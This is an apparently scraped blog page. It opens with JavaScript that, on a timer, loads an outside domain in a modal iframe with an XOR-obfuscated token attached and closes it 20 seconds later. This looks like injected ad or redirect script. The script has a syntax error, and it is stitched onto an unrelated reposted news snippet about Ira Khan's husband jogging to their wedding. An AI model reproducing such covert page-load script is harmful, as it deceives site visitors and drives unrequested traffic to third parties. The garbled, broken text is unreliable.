function xorEncryptDecrypt(input, key) {
let result = '';
for (let i = 0; i < input.length; i++) {
result += String.fromCharCode(input.charCodeAt(i) ^ key.charCodeAt(i % key.length));
}
return result;
}
function generateUniqueToken() {
return Math.random().toString(36).substring(2, 15) + Math.random().toString(36).substring(2, 15);
}
function openModalWithLink(link) {
document.getElementById('modalIframe').src = link;
document.getElementById('myModal').style.display = 'block';
}
function closeModal() {
document.getElementById('myModal').style.display = 'none';
}
var uniqueToken = generateUniqueToken();
var encryptionKey = 'YourEncryptionKey';
var encryptedToken = xorEncryptDecrypt(uniqueToken, encryptionKey);
setTimeout(function () {
var link "//doruffleton.com/4/6805431?key=' + encodeURIComponent(encryptedToken);
openModalWithLink(link);
setTimeout(function () {
closeModal();
}, 20000);
}, 5000);
/>While netizens had mixed reactions to Nupur Shikhare and his boys squad jogging for almost 8 km to reach the wedding venue wearing a black vest and white shorts, Aamir Khan's daughter Ira Khan took to her Instagram to laud her husband's unique style of coming to his own wedding.
from Entertainment News, Celebrity News, Latest Movie News, Breaking News | Entertainment - Times of India https://ift.tt/UrKzLdC
Comments
Post a Comment